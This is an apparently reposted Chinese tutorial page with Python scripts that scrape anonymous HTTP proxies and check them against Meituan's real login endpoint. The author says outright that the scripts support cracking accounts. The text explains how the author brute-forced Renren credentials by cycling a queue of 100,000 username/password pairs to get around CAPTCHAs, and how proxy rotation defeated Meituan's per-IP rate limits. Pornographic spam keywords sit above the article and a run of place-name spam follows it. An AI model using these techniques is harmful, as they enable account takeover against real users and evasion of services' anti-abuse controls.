最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

批量獲取及驗(yàn)證HTTP代理的Python腳本

 更新時(shí)間:2017年04月23日 22:16:42   投稿:mdxy-dxy  
這篇文章主要介紹了批量獲取及驗(yàn)證HTTP代理的Python腳本,需要的朋友可以參考下

1. 在掃號(hào)人人網(wǎng)時(shí),我遇到單個(gè)賬號(hào)錯(cuò)誤兩次,強(qiáng)制要求輸入驗(yàn)證碼,而對(duì)方并未實(shí)施IP策略。

我采用維護(hù)10萬(wàn)(用戶名,密碼) 隊(duì)列的方式來(lái)繞過(guò)驗(yàn)證碼。具體的做法是,當(dāng)某個(gè)用戶名、密碼組合遇到需要驗(yàn)證碼,就把該破解序列掛起,放到隊(duì)列尾部等待下次測(cè)試,繼續(xù)破解其他賬號(hào)密碼。

這樣就可以保證2/3的時(shí)間都在進(jìn)行正常破解和掃號(hào)。

2. 在破解美團(tuán)網(wǎng)某系統(tǒng)賬號(hào)時(shí),我遇到了單個(gè)IP訪問(wèn)有一定限制,請(qǐng)求頻率不可過(guò)快。于是我掛了72個(gè) HTTP代理來(lái)解決這個(gè)問(wèn)題。 看似每個(gè)IP的請(qǐng)求都正常,但其實(shí)從整個(gè)程序上看,效率還是挺可觀的。

本篇我發(fā)出自己抓HTTP的腳本片段,其實(shí)只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/

首先獲取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接著驗(yàn)證代理是否可用,因?yàn)槲沂怯糜谄平饷缊F(tuán)網(wǎng)系統(tǒng)的賬號(hào),因此用了美團(tuán)的頁(yè)面標(biāo)記:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

相關(guān)文章

  • 簡(jiǎn)單談?wù)刾ython中的語(yǔ)句和語(yǔ)法

    簡(jiǎn)單談?wù)刾ython中的語(yǔ)句和語(yǔ)法

    下面小編就為大家?guī)?lái)一篇簡(jiǎn)單談?wù)刾ython中的語(yǔ)句和語(yǔ)法。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-08-08
  • 使用python批量轉(zhuǎn)換文件編碼為UTF-8的實(shí)現(xiàn)

    使用python批量轉(zhuǎn)換文件編碼為UTF-8的實(shí)現(xiàn)

    這篇文章主要介紹了使用python批量轉(zhuǎn)換文件編碼為UTF-8的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-04-04
  • Python3.6簡(jiǎn)單的操作Mysql數(shù)據(jù)庫(kù)的三個(gè)實(shí)例

    Python3.6簡(jiǎn)單的操作Mysql數(shù)據(jù)庫(kù)的三個(gè)實(shí)例

    今天小編就為大家分享一篇關(guān)于Python3.6簡(jiǎn)單的操作Mysql數(shù)據(jù)庫(kù)的三個(gè)實(shí)例,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧
    2018-10-10
  • python通過(guò)索引遍歷列表的方法

    python通過(guò)索引遍歷列表的方法

    這篇文章主要介紹了python通過(guò)索引遍歷列表的方法,實(shí)例分析了Python遍歷列表的相關(guān)技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下
    2015-05-05
  • python獲取標(biāo)準(zhǔn)北京時(shí)間的方法

    python獲取標(biāo)準(zhǔn)北京時(shí)間的方法

    這篇文章主要介紹了python獲取標(biāo)準(zhǔn)北京時(shí)間的方法,實(shí)例分析了Python通過(guò)www.beijing-time.org的官網(wǎng)獲取標(biāo)準(zhǔn)北京時(shí)間的技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
    2015-03-03
  • Python PyMySQL操作MySQL數(shù)據(jù)庫(kù)的方法詳解

    Python PyMySQL操作MySQL數(shù)據(jù)庫(kù)的方法詳解

    PyMySQL是一個(gè)用于Python編程語(yǔ)言的純Python MySQL客戶端庫(kù),它遵循Python標(biāo)準(zhǔn)DB API接口,并提供了許多方便的功能,本文就來(lái)和大家簡(jiǎn)單介紹一下吧
    2023-05-05
  • 使用matplotlib畫(huà)圖自定義marker

    使用matplotlib畫(huà)圖自定義marker

    這篇文章主要介紹了使用matplotlib畫(huà)圖自定義marker問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-06-06
  • python制作可視化GUI界面自動(dòng)分類管理文件

    python制作可視化GUI界面自動(dòng)分類管理文件

    這篇文章主要為大家介紹了python制作可視化GUI界面實(shí)現(xiàn)自動(dòng)分類管理文件,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-05-05
  • PYQT5實(shí)現(xiàn)控制臺(tái)顯示功能的方法

    PYQT5實(shí)現(xiàn)控制臺(tái)顯示功能的方法

    今天小編大家分享一篇PYQT5實(shí)現(xiàn)控制臺(tái)顯示功能的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2019-06-06
  • 利用Python開(kāi)發(fā)一個(gè)自動(dòng)答題程序

    利用Python開(kāi)發(fā)一個(gè)自動(dòng)答題程序

    這篇文章主要為大家詳細(xì)介紹了如何利用Python開(kāi)發(fā)一個(gè)自動(dòng)答題程序,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起了解一下
    2023-02-02

最新評(píng)論

通许县| 高淳县| 怀集县| 邯郸市| 宁明县| 攀枝花市| 沙田区| 陇川县| 光泽县| 昌江| 扶沟县| 中卫市| 彭泽县| 和平县| 新河县| 英山县| 多伦县| 铅山县| 河南省| 南乐县| 佛冈县| 定日县| 柳林县| 孟州市| 慈溪市| 义马市| 靖西县| 新干县| 桦川县| 津南区| 韩城市| 来宾市| 辽阳县| 奇台县| 花垣县| 如东县| 乐都县| 即墨市| 龙江县| 新宁县| 城市|